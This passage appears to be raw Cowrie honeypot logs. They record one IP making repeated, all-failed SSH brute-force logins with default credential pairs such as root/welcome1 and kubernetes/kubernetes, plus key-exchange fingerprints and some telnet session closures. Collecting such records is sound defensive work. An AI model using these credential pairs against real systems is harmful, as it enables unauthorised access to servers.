ha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:36.562030Z","src_ip":"192.109.200.237","session":"2a343fa2aff2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:36.812631Z","src_ip":"192.109.200.237","session":"2a343fa2aff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:37.984244Z","src_ip":"192.109.200.237","session":"2a343fa2aff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52392,"dst_ip":"159.203.135.109","dst_port":22,"session":"7037998247e4","protocol":"ssh","message":"New connection: 192.109.200.237:52392 (159.203.135.109:22) [session: 7037998247e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:39.751250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:39.756428Z","src_ip":"192.109.200.237","session":"7037998247e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:39.839270Z","src_ip":"192.109.200.237","session":"7037998247e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:40.089115Z","src_ip":"192.109.200.237","session":"7037998247e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:41.175252Z","src_ip":"192.109.200.237","session":"7037998247e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.03258204460144,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:41.902498Z","src_ip":"152.42.224.71","session":"bd05480d5797","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43678,"dst_ip":"159.203.135.109","dst_port":22,"session":"a971c8695a30","protocol":"ssh","message":"New connection: 192.109.200.237:43678 (159.203.135.109:22) [session: a971c8695a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:43.105737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:43.111588Z","src_ip":"192.109.200.237","session":"a971c8695a30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:43.201529Z","src_ip":"192.109.200.237","session":"a971c8695a30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:43.605886Z","src_ip":"192.109.200.237","session":"a971c8695a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:44.693178Z","src_ip":"192.109.200.237","session":"a971c8695a30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43690,"dst_ip":"159.203.135.109","dst_port":22,"session":"f63fdd74937f","protocol":"ssh","message":"New connection: 192.109.200.237:43690 (159.203.135.109:22) [session: f63fdd74937f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:46.629427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:46.633747Z","src_ip":"192.109.200.237","session":"f63fdd74937f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:46.723839Z","src_ip":"192.109.200.237","session":"f63fdd74937f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:46.970221Z","src_ip":"192.109.200.237","session":"f63fdd74937f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:48.055433Z","src_ip":"192.109.200.237","session":"f63fdd74937f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43692,"dst_ip":"159.203.135.109","dst_port":22,"session":"1921797de3fd","protocol":"ssh","message":"New connection: 192.109.200.237:43692 (159.203.135.109:22) [session: 1921797de3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:49.887152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:49.891736Z","src_ip":"192.109.200.237","session":"1921797de3fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:49.973379Z","src_ip":"192.109.200.237","session":"1921797de3fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:50.220736Z","src_ip":"192.109.200.237","session":"1921797de3fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.538185834884644,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:50.535590Z","src_ip":"152.42.224.71","session":"338eecc86378","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.12506604194641,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:50.543677Z","src_ip":"152.42.224.71","session":"03e52ff1fde1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:51.306007Z","src_ip":"192.109.200.237","session":"1921797de3fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54088,"dst_ip":"159.203.135.109","dst_port":22,"session":"621ade715797","protocol":"ssh","message":"New connection: 192.109.200.237:54088 (159.203.135.109:22) [session: 621ade715797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:53.152586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:53.157110Z","src_ip":"192.109.200.237","session":"621ade715797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:53.240323Z","src_ip":"192.109.200.237","session":"621ade715797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:53.489138Z","src_ip":"192.109.200.237","session":"621ade715797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:54.575257Z","src_ip":"192.109.200.237","session":"621ade715797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54096,"dst_ip":"159.203.135.109","dst_port":22,"session":"d48024bb03ac","protocol":"ssh","message":"New connection: 192.109.200.237:54096 (159.203.135.109:22) [session: d48024bb03ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:56.434731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:56.508499Z","src_ip":"192.109.200.237","session":"d48024bb03ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:56.611202Z","src_ip":"192.109.200.237","session":"d48024bb03ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:56.861609Z","src_ip":"192.109.200.237","session":"d48024bb03ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:57.947479Z","src_ip":"192.109.200.237","session":"d48024bb03ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54110,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5174d5ab4e1","protocol":"ssh","message":"New connection: 192.109.200.237:54110 (159.203.135.109:22) [session: b5174d5ab4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:59.888786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:59.893776Z","src_ip":"192.109.200.237","session":"b5174d5ab4e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:59.975709Z","src_ip":"192.109.200.237","session":"b5174d5ab4e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:00.227581Z","src_ip":"192.109.200.237","session":"b5174d5ab4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:01.319858Z","src_ip":"192.109.200.237","session":"b5174d5ab4e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38772,"dst_ip":"159.203.135.109","dst_port":22,"session":"983ec47f2feb","protocol":"ssh","message":"New connection: 192.109.200.237:38772 (159.203.135.109:22) [session: 983ec47f2feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:03.366289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:03.374307Z","src_ip":"192.109.200.237","session":"983ec47f2feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:03.459452Z","src_ip":"192.109.200.237","session":"983ec47f2feb","protocol":"ssh"}
